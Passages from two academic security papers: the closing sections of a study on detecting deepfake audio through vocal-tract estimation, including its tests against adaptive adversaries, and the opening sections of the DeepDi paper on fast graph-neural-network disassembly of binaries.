organic and deepfaked audio samples of Presidents Trump
and Obama to extract an ideal feature set using the process de-
scribed in Section 6.3.1. After extraction, we found that every
one of the 136 bigrams shared between the organic and syn-
thetic audio sets would qualify as an ideal discriminator (i.e.,
an ideal feature). This means that while the ideal feature from
one deepfake model failed to transfer to another, our hypoth-
esis that deepfake models are failing to correctly mimic the
acoustic behavior of the human vocal tract, remains correct.
Because of this, we were still able to detect every synthetic
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Figure 10: a) The cross-sectional area estimates output by the transfer function for bigram “/d – oU/.” pronounced “doh” b) The
approximate vocal tracts used to create each of the datasets. c) An anatomical approximation of a deepfaked model (bottom),
which no longer represents a regular human vocal tract (top) and instead is approximately the dimensions of a drinking straw.
This inconsistency is prevalent across more than 350 observed bigrams.

audio sample generated by Lyrebird by using an ideal feature
set that was sensitive to the Lyrebird model. We believe that
this indicates that the RTVC and Lyrebird deepfake genera-
tion models are failing to mimic human acoustics in different
ways. It, therefore, appears that the ideal features extracted
from one deepfake generation model will not necessarily ap-
ply to other models. However, the lack of overlapping ideal
features between models can be potentially circumvented by
having a defender check all bigrams within an audio sample.
This would allow a defender to practically check all possible
ideal feature sets simultaneously. However, the thoroughness
provided by checking all bigrams will result in a considerable
increase in the processing time for the detector and would
potentially require a different process for whole sample de-
tection than what was presented in Section 6.3.2. We leave
the further exploration of the concept of an all-bigram pro-
cessing method to future work. To conclude, a defender who
is concerned about detecting previously unknown deepfake
generation models will likely not be able to benefit from the
performance increases provided by the creation of an ideal
feature set. Furthermore, they will likely need to rely on a
different metric than majority voting when evaluating the set
of all bigrams within the sample.

9 Discussion

9.1 Limitations

Acoustic Model While our acoustic modeling can process
all phonemes for a given speech sample, the pipe series are
only anatomically correct for the vocal tract while the speaker
is pronouncing a vowel. This means that our technique is

less accurate when processing non-vowel phonemes. That
being said, vowels make up 38% of all phonemes, meaning
most bigrams should contain at least one vowel phoneme.
Therefore, our use of bigrams also helps to minimize the
number of processed necessary samples.

Preprocessing During the preprocessing stage of our
pipeline, we use Gentle to automatically timestamp the audio
files according to their words and phonemes. Gentle requires
sample transcriptions, which we generate using the Google
Speech API. Thus the accuracy of the timestamps (and the fol-
lowing stages of the pipeline) are directly tied to the accuracy
of Gentle and the Google Speech API. While some phonemes
are only a few milliseconds long, Gentle’s precision is to the
nearest hundredth of a second. This forces Gentle to overesti-
mate the timestamps for short phonemes, which introduces
rounding errors. The use of bigrams helped to mitigate this
problem, since using pairs gave us more appropriate target
lengths for Gentle’s precision levels.

The noisiness of synthetically generated audio can also
cause mistranscriptions in the Google Speech API. However,
the mistranscriptions are usually phonetically similar to the
correct ones. As a result, Gentle’s timestamps will contain lit-
tle error. This limits any major impact that a mistranscription
could have on our results.

Data Access There does not exist many large publicly avail-
able corpora of deepfake audio samples or generation tools.
While we would have liked to test our technique against a
larger variety of samples, this was not possible. Our dataset
is limited to the data and tools that are currently publicly
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Figure 11: The first PCA dimension shows that deepfake
audio samples fundamentally lack the same amount of vari-
ability found in organic speech.

available. Startups in deepfake generation have propriety al-
gorithms that are either not available for purchase or other-
wise made inaccessible for use in academic research. Despite
these issues, our technique appears to be generalizable and
not targeting any specific deepfake audio generator, although
additional research is needed to verify this.

9.2 Deployment Considerations
Our optimized detector leverages a one-time preprocessing
step to amortize the cost of processing individual audio sam-
ples later. We preprocess each bigram during the feature ex-
traction phase to determine the acceptable organic ranges
and ideal features (e.g., a 60 bigram sample would take ap-
proximately 15 seconds to process). However, during the
evaluation phase, which simulates our detection process, the
preprocessing is performed only on a discriminative set of
bigrams (i.e., the ideal features extracted during feature ex-
traction). By greedily selecting the ideal features, the prepro-
cessing time for similarly-sized samples during evaluation is
approximately reduced by an order of magnitude, allowing us
to perform detection in real-time. For example, the average
sentence in the TIMIT dataset contains 25 bigrams over 2.7
seconds of audio. If our technique processed every bigram
in the sentence, it would take approximately 6.25 seconds
to complete. However, as discussed in Section 8.2, our ideal
feature set makes up about approximately 15.3% of bigram
occurrences. This means that by only processing the ideal
features our technique could evaluate the 2.7 seconds of audio
in approximately 1 second. Other techniques that use audio
analysis (e.g., Pindr0p [52]) require on the order of 15 seconds
to work and are therefore not usually performed in realtime.

9.3 Performance Trade-off
Our optimized technique has a 99.9% precision rate resulting
in a minor decrease in recall to 99.5%. A high precision rate
will ensure that a deepfake audio is not accidentally labeled as
organic by our system. This is specifically designed to protect
the victim of a deepfake attack. It is far more dangerous for
a deepfake audio to be believed as real, than the converse.

For example, it is a greater threat to democracy if the popu-
lation believes that a deepfake audio of a politician making
incendiary remarks is real.

Furthermore, to achieve such a high precision rate, our de-
tector must also sacrifice its false-positive performance. The
achieved FPR of 2.5% could be seen as higher than ideal
for automated systems that process hundreds or thousands of
audio samples per day. However, we believe this trade-off is
still better overall. If an organic sample is falsely identified as
a deepfake, it is trivial for the original speaker to verify the au-
thenticity of the sample if they choose. However, a malicious
speaker could use the false-positive as an opportunity to dis-
associate from a comment they had previously made. While
ideally our technique could prevent this kind of disassociation,
we believe that allowing an individual to disassociate from
previous a comment is less of a security risk than allowing
a deepfake to go undetected. For this reason, we accept our
FPR of 2.5% as an acceptable value.

9.4 Advantages over other techniques
Our technique offers several distinct advantages over some
techniques in the current literature. Researchers have explored
the use of Deep Neural Nets (DNNs) for detecting deepfake
audio [6]. These require large training data sets (thousands
of audio samples), which is extremely limiting as generating
large amounts of deepfake audio data is not easy. If the train-
ing data is not large enough to capture the full distribution,
the trained DNN will fail to generalize. As a result, the DNN
will perform poorly on the test set. Our method only requires
a few dozen audio samples and can generalize to a much
larger evaluation set. Also, since DNNs are black boxes, they
do not provide explanations for the predicted labels. On the
other hand, our method leverages a deep understanding of the
human anatomy to explain the predicted labels.

9.5 Robustness against Adaptive Adversaries
Attacks and defenses are in a constant arms race. An attacker
with knowledge of our technique may try to adapt their attack
to defeat it. We explore two different approaches an adaptive
adversary could use to evade our detector. The first approach
follows the general best practice as described by Tramèr et
al. Ideally, a defense should only be attacked end-to-end (i.e.,
used as a loss function) if the entire defense is differentiable
and an inspection of the technique reveals that the defense
is not likely to fail due to the exploitation of one or two
subcomponents. However, our technique is not end-to-end
differentiable due to Eqns. 4 and 5. In line with Tramèr et
al.’s work, however, an adversary can still attempt to evade
our technique by identifying the critical subcomponent of
the model that needs to be exploited. In the case of our tech-
nique, this subcomponent is the underlying vocal tract transfer
function represented by Eqns. 4 and 5.
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Figure 12: While attempting to overfit to a small dataset,
the best models were only able to achieve loss values of
approximately 10−1. This is several orders of magnitude
greater than what would be expected if the models were well
suited to learning our technique’s mapping. This indicates that
these models struggle to mimic our technique and significant
domain-specific knowledge is needed to overcome our de-
fense. Additional information on which model is represented
by each line can be found in Table 2.

To exploit this segment, an adversary needs to learn the
mapping of our technique between the Fourier Transform of
a bigram’s audio and the 15 cross-sectional area estimates of
the vocal tract. Simply put, an adversary would have to train
an ML model to predict the cross-sectional area of a speaker’s
vocal tract from the frequencies present in the audio sample.
By minimizing the error between the model’s prediction and
the extracted vocal tract estimates, the model would attempt
to learn some mapping similar to that of our technique. This
trained model would then be used to generate adversarial
audio, using a technique such as a Generative Adversarial
Network, to evade detection.

To measure the difficulty of this task, we constructed a
naïve adversary that uses out-of-the-box Deep Learning mod-
els to mimic our technique. Before training on a full dataset,
we took an initial step and trained on a small sample set (i.e.,
16 random audio samples) to try to overfit the model and
get near-zero loss (e.g., around 10−5 [53]). Doing so would
suggest that the models are indeed learning some mapping
between the frequencies in the audio and the 15-dimensional
output, indicating that training on a larger dataset would gen-
eralize better. However, a non-near-zero loss suggests that,
even with a small sample set, the model struggles with find-
ing a correct mapping. To further simplify the problem, we
also attempted to train the models to output only the first

a) WaveRNN

d) Forced Phoneme 
Alignment

c) Speech to Text

e) Audio Processing/
Metadata Generation

f) Vocal Tract 
Estimation

b) Discretized Mix 
Logistic Loss

Single Frame
Model Pass

Single Sample
Model Pass

g) Average Error 
across VT from 

Organic
h) Pre-Calculated

Organic VT Estimation

Figure 13: The modifications made to the WaveRNN model
(a) to integrate our vocal tract estimation technique as a loss
function. Every batch during training the model now generate
a full audio sample, transcribe it to text (c), align the neces-
sary metadata (d, e) before estimating the vocal tract (f) and
calculating the effective error this has incurred (g) from a set
of pre-calculated organic vocal tracts (h). This error is then
combined with original loss used by WaveRNN (b).

cross-sectional area estimate, rather than all 15.
As shown in Figure 12, the loss (calculated by mean ab-

solute error) of a wide range of models,9 detailed in Table 2,
remained flat and did not converge to near-zero after training
for multiple epochs. Our best models had their loss values
converge to between 100 and 10−1, putting them four to five
orders of magnitude greater than standard practice [53].

Thus, we believe that a naïve adversary would be unsuccess-
ful in evading our defense mechanism, and our results suggest
that generalizing our technique using ML is non-trivial and
requires significant domain-specific knowledge.

The second adaptive adversary approach leverages part of
the loss function during the deepfake generator training. As
discussed in Section 3.3, deepfake generators compromise
three stages; the encoder, synthesizer, and vocoder. We choose
to modify the vocoder training process as it is the final step
and is responsible for creating the life-like audio.

For this test, we modified the training process of the Wa-
veRNN [54] vocoder model used by RTVC [7]. These mod-
ification can be seen in Figure 13. The WaveRNN model’s
original loss function (b) was calculated on mini-batches of
32 single frames of training audio at a time. However, these
single frames of audio are not full audio samples and there-
fore do not contain any full bigrams our detection method
uses. Thus, during every mini-batch, we used the model to
generate a single complete audio sample. This is then run
through the transcription and phoneme aligner, discussed in
Section 7 (c & d). We then create the necessary metadata
(e) which is passed along with the audio to the vocal tract
estimator (f). The distance between the vocal tract estimation
for the model’s generated audio is then compared (g) to a
precalculated set of organic vocal tracts (h) to find the rela-

9While there are other architectures to consider (e.g., RNNs, LSTMs,
and transformers), those architectures tend to rely on temporal dependencies.
Since our input was the Fourier Transform of a bigram, which lacks temporal
data, testing those models would not be appropriate.
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tive loss incurred by the vocal tract analysis. This loss value
is then added to the original WaveRNN loss. Training then
occurs as normal from there.

In addition, we made a major optimization to the training
process. Early in the training phase, the model will not out-
put transcribable audio samples. Thus, our technique can not
estimate the vocal tract of the audio. In this case, we simply
set the component of the loss found from the vocal tract es-
timation to zero and prevent any related calculations from
occurring (d, e, f, or g). However, the model will still need to
generate a complete audio sample to determine if it is capable
of creating transcribable audio.

All testing was conducted on a local desktop machine run-
ning a 6th generation Intel i7-6770HQ with 32 GB of RAM
and a GTX 1080 with 8 GB of V-RAM. The WaveRNN model
was constructed using PyTorch 1.9.1 and Cuda 11.4.

We use the WaveRNN model’s default parameters while
training on all 4,622 samples of the TIMIT corpus as a
baseline. The model defaulted to a learning rate of 0.0001,
1,000,000 steps, a batch size of 32, and would complete 6,994
epochs. This is similar to the pretained model included in
RTVC that was trained for 1,159,000 steps at a batch size
of 50. In this configuration, the unedited model was able to
complete a batch every 0.50 seconds and an epoch every 71
seconds. The model would require approximately 5.75 days
to train.

After the inclusion of our new loss function, we saw a
considerable slowdown. During the training phases, before
the model is producing transcribable audio, the model was
able to process a single batch every 8.86 seconds and an
epoch every 1,267 seconds or 21 minutes, a slow down of
17.8x. This slow down was a result of the model having to
generate whole audio samples at every epoch, regardless of
audio transcription. In this state, the model would take a
minimum of approximately 100 days to complete ∼90% of
its training. This estimate does not include the additional time
necessary for running the vocal tract estimator. We are likely
to see a further slow down at the end of the model training
when the full vocal tract estimator needs to run. At this stage,
we assumed that the adversary has already calculated the vocal
tracts for a large number of existing organic audio samples
to use as ground truth to avoid having to do the vocal tract
estimation twice per batch. For TIMIT this process would
take approximately 77 hours but only needs to be completed
one time. Once the vocal tract estimation loss function was
fully engaged the model was able to complete one batch every
31.52 seconds and one epoch every 1.25 hours. Assuming
the model will only be producing transcribable audio for the
final 10% of its total epochs, the model would complete this
phase of training in approximately 36.4 days. Overall, when
the vocal tract estimation loss function is fully engaged, the
model training is slowed by approximately a factor of 63x.
In total, training the WaveRNN model using our vocal tract
estimator in this way would require approximately 130 days.

Furthermore, since adversarial samples do not transfer across
RNN based models [41], this adversarial sample could not be
used against any other iteration of our system. Therefore, an
attacker will need to spend 130 for every single audio sample,
making this attack completely impractical.

10 Conclusion

Deepfake audio generators can now enable attackers to im-
personate any person of their choosing. Existing techniques
to detect deepfake audio often require knowledge of the spe-
cific generator. In our work, we present a novel detection
mechanism that is independent of any generator. Our method
leverages the knowledge of the human anatomy, fluid dy-
namics, and the articulatory system to detect deepfake audio
samples with a precision of 99.9% and a recall of 99.5%. In
doing so, our work presents a unique lens to view the problem
of deepfake detection – one that is explainable, generalizable,
and free of the limitations of other ML-based approaches.
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A ASVSpoof Dataset

We explored the potential use of the ASVSpoof2019 dataset to eval-
uate our deepfake detection technique. The ASVspoof2019 dataset
contains a collection of synthetically modified audio samples, none
of which are actual deepfakes. Instead, these audio samples are used
for speaker verification tasks, such as voice authentication. While
our algorithm can still detect these audio samples, they should not
be used for evaluating deepfake detection algorithms. This dataset
was not designed for this task.

We ran the full dataset against our approach, which required over
1,400 hours of processing time. However, we noticed that such tests
produced very high word error (WER) rates of 0.45. This means that
nearly half of all words were transcribed incorrectly. Upon manual
listening tests, we found these audio samples sounded very robotic,
thus resulting in poor transcriptions. Therefore, the lower quality
of the audio was the source of these failures, and therefore served
as efficient filters. Further investigation revealed that contrary to
popular belief, ASVSpoof2019 is not a deepfake audio dataset -
the maintainers of this challenge note that deepfake detection is
a separate challenge, and have identified it as such in their yet-to-
be-released 2021 dataset. Even though our preprocessing stage can
detect these audio samples as being abnormal due to the high WER,
they were never intended to be used for deepfake detection and
instead target the related problem of automatic speaker verification
(ASV) (e.g., authentication), hence the name of the challenge.

B Phrases

TIMIT phrase that was converted into our deepfake dataset.

1. Cattle which died from them winter storms were referred to as
the winter

2. The odor here was more powerful than that which surrounded
the town aborigines. (si1077)

3. No, they could kill him just as easy right now. (si1691)
4. Yet it exists and has an objective reality which can be experi-

enced and known. (si654)
5. I took her word for it, but is she really going with you? (sx395)

Table 2: Descriptions and high-level information about the
models tested in our adaptive adversary experiments. The
corresponding results for each model can be seen in Figure 12
by the line denoted in the Line Style column.
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Abstract

Disassembly is the cornerstone of many binary analysis

tasks. Traditional disassembly approaches (e.g., linear and re-

cursive) are not accurate enough, while more sophisticated ap-

proaches (e.g., Probabilistic Disassembly, Datalog Disassem-

bly, and XDA) have high overhead, which hinders them from

being widely used in time-critical security practices. In this

paper, we propose DEEPDI, a novel approach that achieves

both accuracy and efficiency. The key idea of DEEPDI is

to use a graph neural network model to capture and propa-

gate instruction relations. Specifically, DEEPDI firstly uses

superset disassembly to get a superset of instructions. Then

we construct a graph model called Instruction Flow Graph

to capture different instruction relations. Then a Relational

Graph Convolutional Network is used to propagate instruction

embeddings for accurate instruction classification. DEEPDI

also provides heuristics to recover function entrypoints. We

evaluate DEEPDI on several large-scale datasets containing

real-world and obfuscated binaries. We show that DEEPDI is

comparable or superior to the state-of-the-art disassemblers

in terms of accuracy, and is robust against unseen binaries,

compilers, platforms, obfuscated binaries, and adversarial at-

tacks. Its CPU version is two times faster than IDA Pro, and

its GPU version is 350 times faster.

1 Introduction

A disassembler takes a binary program as input and produces

disassembly code and some higher-level information, such

as function boundaries and control flow graphs. Most binary

analysis tasks [20, 31, 44, 51] take disassembly code as input

to recover syntactic and semantic level information of a given

binary program. As a result, disassembly is one of the most

critical building blocks for binary analysis problems, such as

vulnerability search [23, 57], malware classification [28], and

reverse engineering [52].

Disassembly is surprisingly hard, especially for the x86 ar-

chitecture due to variable-length instructions and interleaved

code and data. As a result, a simple linear sweep approach like

objdump1 or Capstone2, despite high efficiency, suffers from

low disassembly correctness on Windows binaries and bina-

ries compiled by the Intel C++ Compiler (where jump tables

are placed in the code section), and can be easily confused

by obfuscators. There has been a long history of research on

improving disassembly accuracy. For instance, the recursive

disassembly identifies true instructions by following control

transfer targets. It largely eliminates false instructions but

may miss true instructions that are not reached by other code

blocks, leading to a low true positive rate. Commercial disas-

semblers like IDA Pro and Binary Ninja employ linear sweep

and recursive traversal along with undocumented heuristics to

achieve high disassembly accuracy, at price of low runtime ef-

ficiency. Our experiments show that IDA Pro can only process

approximately 72 KB/s, and Binary Ninja 11 KB/s.

Recently, researchers have explored various novel ap-

proaches to further improve the disassembly accuracy, such as

probabilistic inference [39, 55], static program analysis [46],

logic inference [24], and deep learning [43]. However, the

improved accuracy often comes at price of even lower run-

time efficiency. For instance, Probabilistic Disassembly [39]

can only process about 4 KB/s, Datalog Disassembly [24]

4 – 50 KB/s. Even worse, XDA [43], based on expensive

BERT [19] model, when running on CPU, can only process

140 B/s according to our evaluation.

Despite the importance of disassembly, we still do not have

a disassembler that is both accurate and fast to support down-

stream binary analysis tasks. This is especially true when

dealing with malware, which is often obfuscated to thwart

disassemblers for evasion.

In this paper, we present a novel deep learning-based dis-

assembler called DEEPDI, which can achieve high accuracy

and efficiency simultaneously. It can be further accelerated on

GPU to gain hundreds of times speedup. In order to achieve

high efficiency, DEEPDI takes a very different approach than

XDA [43] to leverage deep learning. Instead of feeding raw

1https://www.gnu.org/software/binutils/manual/
2http://www.capstone-engine.org/
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bytes as input to an expensive deep learning model as done in

XDA, DEEPDI first decodes all possible instructions and con-

verts them into high-level feature vectors, and then identifies

true instructions from all instruction candidates by construct-

ing logical relations (e.g., one instruction followed by another,

one instruction overlapped with another, etc.) between these

instruction candidates and performing graph inference on

them. In particular, we use a Relational Graph Convolutional

Network (Relational-GCN) [50], because it can capture dif-

ferent kinds of relations between nodes and it is small and

efficient. After supervised training, our model is able to iden-

tify true instructions. From these identified true instructions,

DEEPDI then recovers function entrypoints from the true

instructions using heuristics and a simple classifier.

We have conducted extensive experiments to evaluate

DEEPDI with respect to accuracy, efficiency, generalizabil-

ity and robustness. To evaluate the accuracy, we use four

datasets (i.e., BAP corpora [17], LLVM 11 on Windows3,

SPEC CPU2006 [6], and SPEC CPU2017 [7]), and compare

with five disassemblers (i.e., IDA Pro [3], Binary Ninja [1],

Ghidra [2], Datalog Disassembly [24] and XDA [43]). Experi-

mental results show that DEEPDI is comparable or superior to

these disassemblers in terms of accuracy on regular binaries.

For efficiency, the single-core CPU version of DEEPDI can

achieve a throughput of 146 KB/s, which is two times faster

than commercial disassemblers. A CUDA implementation

of DEEPDI can further improve the throughput by 170 times

on a modest GPU, reaching 24.5 MB/s, which is 350 times

faster than IDA Pro. To evaluate its generalizability, we first

train our model with BAP corpora on each optimization, and

evaluate on LLVM 11 to show the performance on unseen

binaries compiled with different compilers and on a different

platform. The result shows that our instruction precision and

recall are at least 97.1%. We use the model for the accuracy

test and test it on ten unseen real-world software to show the

performance on real-world binaries, and the result is compa-

rable with XDA. For robustness, we evaluate the performance

on obfuscated binaries provided by Linn and Debray [36]

and some real-world binaries obfuscated by Hikari [58]. Our

model achieves 84.1% precision and 95.2% recall within 1.2

seconds in the first test, whereas XDA and IDA Pro takes

over 200 seconds and are less accurate. In the second test,

our model has very consistent performance on five different

obfuscation techniques, and is several orders of magnitude

faster than the other disassemblers.

We further demonstrate how DEEPDI is used in malware

classification. We use the malware dataset from Microsoft

Malware Classification Challenge [48], and extend Gem-

ini [57] and EMBER [9] to use high-level features for malware

classification. Our evaluation shows our Gemini model can

achieve 98.2% training accuracy and beat MalConv [47] in

testing loss value. The extended EMBER model achieves

3https://github.com/llvm/llvm-project

99.5% training accuracy and beats the original EMBER.

While the traditional feature extractions take hours and even

days on this dataset, ours only takes 9 minutes in Gemini and 3

minutes in EMBER, showing the capability of classifying mal-

ware accurately and efficiently. We provide a binary release of

DEEPDI at https://github.com/DeepBitsTechnology/DeepDi.

Paper Contributions. In summary, we make the following

contributions in this paper:

• We design a novel deep learning-based disassembler

that can achieve accuracy and efficiency simultaneously.

It exemplifies how a deep learning-based system can

substantially improve the efficiency and accuracy over

the existing approaches.

• We propose a novel graph representation called “Instruc-

tion Flow Graph” to model different relations between

instructions. We then use a Relational-GCN to perform

inference and classification on Instruction Flow Graph

to classify instructions accurately.

• We conduct extensive experiments to show the practical

application value of DEEPDI. Experimental results show

that DEEPDI is comparable or superior to the state-of-

the-art disassemblers in terms of accuracy. DEEPDI is

also robust against unseen compilers and platforms, ob-

fuscated binaries, and adversarial attacks. Its efficiency

is several orders of magnitude higher than the baseline

approaches.

• We showcase malware classification as a downstream ap-

plication for DEEPDI. We show that DEEPDI can enable

fast and accurate malware classification by providing

high-level features efficiently.

2 Background

2.1 Traditional Disassembly Methods

Linear Sweep Disassembly. Linear sweep disassembly is the

most straightforward yet fast disassembly method. It disas-

sembles from the beginning of the buffer and assumes there is

no data in the buffer, meaning the starting point of an instruc-

tion is the ending point of the previous instruction. However,

this assumption may not hold as compilers may insert jump ta-

bles or strings [10], so the false positive rate and false negative

rate can be high, especially for obfuscated binaries. Modern

compilers do not place strings in the code section, but it hap-

pens a lot in shellcode. Besides that, the Microsoft Visual

C++ Compiler and Intel C++ Compiler will place jump

tables in the code section, adding errors to linear disassembly

results.

Recursive Traversal Disassembly. Recursive traversal dis-

assembly can greatly eliminate false positives. It starts from

the entry point of a binary file and follows control flow edges.

However, it cannot follow indirect jumps or calls, so it may

miss quite a number of code blocks. This method is usually
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Table 1: Comparison of Disassembly Approaches

Method Pros Cons
Efficiency1

CPU GPU

Traditional Approaches Close to 100% accuracy on regular files Slow and vulnerable to obfuscation 10 – 200 KB/s N/A

Superset Disassembly [13] Very fast and no false negative 85% false positive [39] 4 – 5 MB/s 1+ GB/s

Shingled Graph Disassembly [55] Similar accuracy to IDA Pro and 2x faster Small dataset and not open source 70+ – 200 KB/s N/A

Probabilistic Disassembly [39] No false negative 3% false positive and slow 4 KB/s N/A

Datalog Disassembly [24] Nearly 100% accuracy Slow and limited file format support 4 – 50 KB/s N/A

XDA [43] Close to 100% accuracy Slow 140 B/s 47 KB/s

DEEPDI (this work) Close to 100% accuracy – 146 KB/s 24.5 MB/s

1 Measured on our server, please refer to Section 4.1 for more details.

combined with some heuristics to detect missing code blocks.

Indirect control transfers are very common in complex pro-

grams. These programs have switch-case statements, virtual

functions, function pointers, etc. Jump tables, such as jmp

dword ptr [addr+reg*4], are relatively easy to resolve.

However, there exist different variants of jump tables, and

some can be difficult to resolve.

These two methods are straightforward and simple, but

neither is perfect. IDA Pro has a signature-based approach

to scan common patterns of code, others may have dedicated

data flow analysis to resolve indirect jumps. Neither is cheap.

Code patterns can be affected by compilers, optimization lev-

els, architectures, etc. Therefore, searching in such a large

knowledge base is time-consuming. Data flow analysis gener-

ally uses an iterative algorithm and requires a lot of compu-

tational time. Since the manually-defined heuristics are not

complete and slow, we build a machine learning model to au-

tomatically capture relations among instructions and use GPU

and SIMD instructions in CPU to accelerate the computation.

2.2 Superset Disassembly

Superset Disassembly [13] was proposed for binary rewriting.

It disassembles every executable byte offset. Figure 1 (a)

and (b) show an example of superset disassembly. Although

most of instructions are false positive, all true positives are

included in the result so that every possible transfer target can

be instrumented during binary rewriting.

2.3 Probabilistic Inference

Shingled Graph Disassembly [55] and Probabilistic Disas-

sembly [39] are both probability-based approaches, and they

both start from superset disassembly. Shingled Disassembly

maintains an opcode state machine that gives a probability of

transition from one opcode to another. It removes execution

paths with low probabilities (according to the opcode state

machine) to find an optimal execution path with a maximum

likelihood. Their algorithm runs in O(n) and according to

the paper, their approach is two to three times faster than

IDA Pro v6.3. Shingled Disassembly also has a similar accu-

racy compared to IDA Pro and has fewer missing instructions.

Probabilistic Disassembly is a recently proposed binary rewrit-

ing approach that uses probabilities to model uncertainties

(interleaved code and data, indirect transfer targets, etc.). It

considers register define-use relations, control flow conver-

gence, control flow crossing, and computes a probability for

each address based on these features. Its experiment shows

that it has no false negative, and false positive rate is only 3.7%

on average, making it particularly suited for binary rewriting.

2.4 Datalog Disassembly

Datalog Disassembly [24] is also a recently proposed binary

rewriting approach. Similar to Probablistic Disassembly, Data-

log is based on Superset Disassembly, and it defines a series of

rules to remove invalid instructions. For instance, if an instruc-

tion falls-through, or jumps, or calls an invalid instruction,

this instruction is also invalid. Combined with some heuristics

and potential references in data sections, it resolves overlaps

and achieves very high accuracy. The downside though, is

that such analyses are expensive and can take a lot of time.

2.5 XDA

XDA [43] is a deep learning-based disassembly approach. It

takes raw bytes as input, and then randomly masks some of

these bytes to learn a language model for instructions. For ex-

ample, XDA learns sub rsp and add rsp, a typical function

prologue and epilogue, is a pair, which can be used to indicate

function boundaries. With this pre-trained language model,

one can fine-tune it for various tasks (instruction boundary,

function boundary, etc.) with very little training data. XDA

also has a good accuracy on unseen real-world projects and

is robust to different optimizations. However, it has 12 multi-

head attention layers and a large hidden size, or 86,838,795

trainable parameters in total, which make this model very

complex and hinder the efficiency benefits brought by GPUs.

2.6 Summary

Each approach has pros and cons. Linear Sweep is the fastest,

but the disassembly results may be inaccurate. Recursive has

no false positives but can miss a substantial amount of code

due to indirect transfers. Superset Disassembly has bloated

false positives. Probabilistic Disassembly inherits the advan-

tage of Superset Disassembly, but its runtime performance
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0: 83

1: FA

2: 5C

3: 75

4: 02

5: FF

6: 03

7: 8B

8: 0B

0: cmp edx, 0x5C

1: cli

2: pop esp

3: jnz 0x07

4: add bh, bh

5: inc dword [ebx]

6: add ecx, dword [ebx+0x9090900B]

7: mov ecx, dword [ebx]

8: or edx, dword [eax+0x90909090]

Line Opcode ModRM SIB REX Len 

0 83 FA 00 00 3 

1 FA 00 00 00 1 

2 5C 00 00 00 1 

3 75 00 00 00 2 

4 02 FF 00 00 2 

5 FF 03 00 00 2 

6 03 8B 00 00 6 

7 8B 0B 00 00 2 

8 0B 90 00 00 6 

 

RNN RNN RNN

u0 u3 u5

RNN RNN RNN

u3 u5 u7

(e) Instruction Flow 

Graph

Forward Edge

Backward Edge

Overlap Edge

h0 h1

h2h3h4

h5h6

h7h8

x
(1)

x
(2)

x
(3)

x
(1)

x
(2)

x
(3)

0: cmp edx, 0x5C

1: cli

2: pop esp

3: jnz 0x07

4: add bh, bh

5: inc dword [ebx]

6: add ecx, dword [ebx+0x9090900B]

7: mov ecx, dword [ebx]

8: or edx, dword [eax+0x90909090]

Valid Instruction

Invalid Instruction

(f) Instruction Classification Result

E
m

b
e
d

d
in

g
 L

a
y
e

r

u0

u3

u5

h0

h3

(a) Raw Bytes
(b) Superset of 

Instructions

(c) Instruction Metadata (d) Instruction Embedding

Superset

Disassembly
Graph 

Generation

Graph 

Inference

Extracting Metadata

DeepDi’s
Trainable 

Modules

F
u

lly
 C

o
n

n
e

c
te

d
 L

a
y
e

r

S
ig

m
o

id

Figure 1: Overview of DEEPDI with a Concrete Example

is much worse than traditional approaches. Shingled Graph

Disassembly has an opcode state machine to measure the

probability of transition from one opcode to another and re-

moves execution paths with low probabilities. However, it

is not open-source, so we cannot evaluate it on a large-scale

dataset. Datalog Disassembly adopts a similar idea, thus suf-

fers the same runtime performance issue. XDA uses GPU

to accelerate the analysis, but its complex and heavyweight

model still hinders its efficiency. These approaches show a

trade-off between accuracy and efficiency: a more accurate

result requires more sophisticated analysis, resulting in lower

efficiency. Table 1 summarizes and compares these existing

approaches. Our approach can achieve both high accuracy

and high efficiency, so it is applicable to time-sensitive tasks.

3 Design

We envision a good disassembler should achieve the following

design goals:

• High Accuracy. It should correctly identify instructions

and functions with very high recall and precision.

• High Efficiency. It should disassemble a binary program

at a very high speed, without compromising accuracy.

• Reasonable Robustness. While it is impossible to

achieve complete robustness against strong adversaries

that can be explicitly designed against a disassembler, a

good disassembler should be resilient to common obfus-

cations such as junk code and computed jumps.

• Support for Downstream Tasks. In addition to iden-

tifying instructions and functions, a good disassembler

should provide auxiliary information like call graph, con-

trol follow graph, etc., which is useful for downstream

analysis tasks.

Figure 1 serves as an overview and a running example

of DEEPDI. Our approach first uses superset disassembly to

disassemble raw bytes. According to the disassembled instruc-

tions, we build an instruction flow graph (IFG) representing

all possible execution paths. Each instruction is also converted

to a feature vector via instruction embedding while maintain-

ing its semantic meaning. The feature vectors are propagated

on the IFG using an R-GCN model to obtain neighboring

information, and then are fed into a classification layer to

predict whether the corresponding instructions are valid. All

the aforementioned layers are connected and are trained in an

end-to-end supervised fashion.

Moreover, we further leverage the prediction results to

recover function entrypoints (not shown in Figure 1). We treat

instructions that are not reachable by non control transfer

instructions as function candidates. We then train a classifier

to identify true function entrypoints from the candidates.

3.1 Superset Disassembly

We use Superset Disassembly [13] to ensure our input to the

model is a superset of true instructions. Given N raw bytes

b0,1,...,N−1, the output of superset disassembly is as follows:

ti = D(bi,...,i+14),∀i ∈ {0, . . . ,N −1} (1)

where D(⋅) disassembles the given bytes and each ti is an

(Opcode,ModRM,SIB,REX) tuple. We call this tuple in-

struction metadata. We feed 15 consecutive bytes (as shown

in Equation 1) because an instruction is composed of up to

15 bytes. If the rest of the bytes are less than 15, we will

pad them with 0x90 (nop). A decoded instruction may have
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prefixes, Opcode, ModRM, SIB, Displacement, and Immedi-

ate [4], but we only use REX prefix, Opcode, ModRM and

SIB as its semantic representation, because displacement and

immediate contain arbitrary values and do not affect the se-

mantic meaning. More details are introduced in Section A in

the Appendix.

Figure 1 (c) shows an example of tk and how the tuple

is represented. Note that although an instruction often takes

more than one byte, superset disassembly will still disassem-

ble from its next byte to obtain all possible instructions, which

forms a superset of instructions.

Since disassembling any instruction is independent, this

process can be easily parallelized on GPU: given n raw bytes,

we simply create n GPU threads, and thread i disassembles

from bi [34]. A modern GPU can schedule over one billion

threads, so doing so will not cause performance issues.

Thread 0 1 ... 30 31

Memory 0 1 ... 30 31 32 ...

(a) Time 0

Thread 0 1 ... 30 31

Memory 0 1 ... 30 31 32 ...

(b) Time 1

Figure 2: GPU Disassembly State at Different Time

Figure 2 illustrates an example of data parallelism on GPU.

Assuming the address of the first instruction byte is 0, we

assign thread 0 to 31 (a warp) to disassemble instructions

starting at memory location 0 to 31. At time 0, all threads

consume one byte at location 0 to 31 accordingly at the same

time. At time 1, some threads may turn inactive because they

encounter 1-byte instructions and remain inactive until all

threads in this warp finish disassembling their instructions.

Other threads consume the next bytes, which are memory

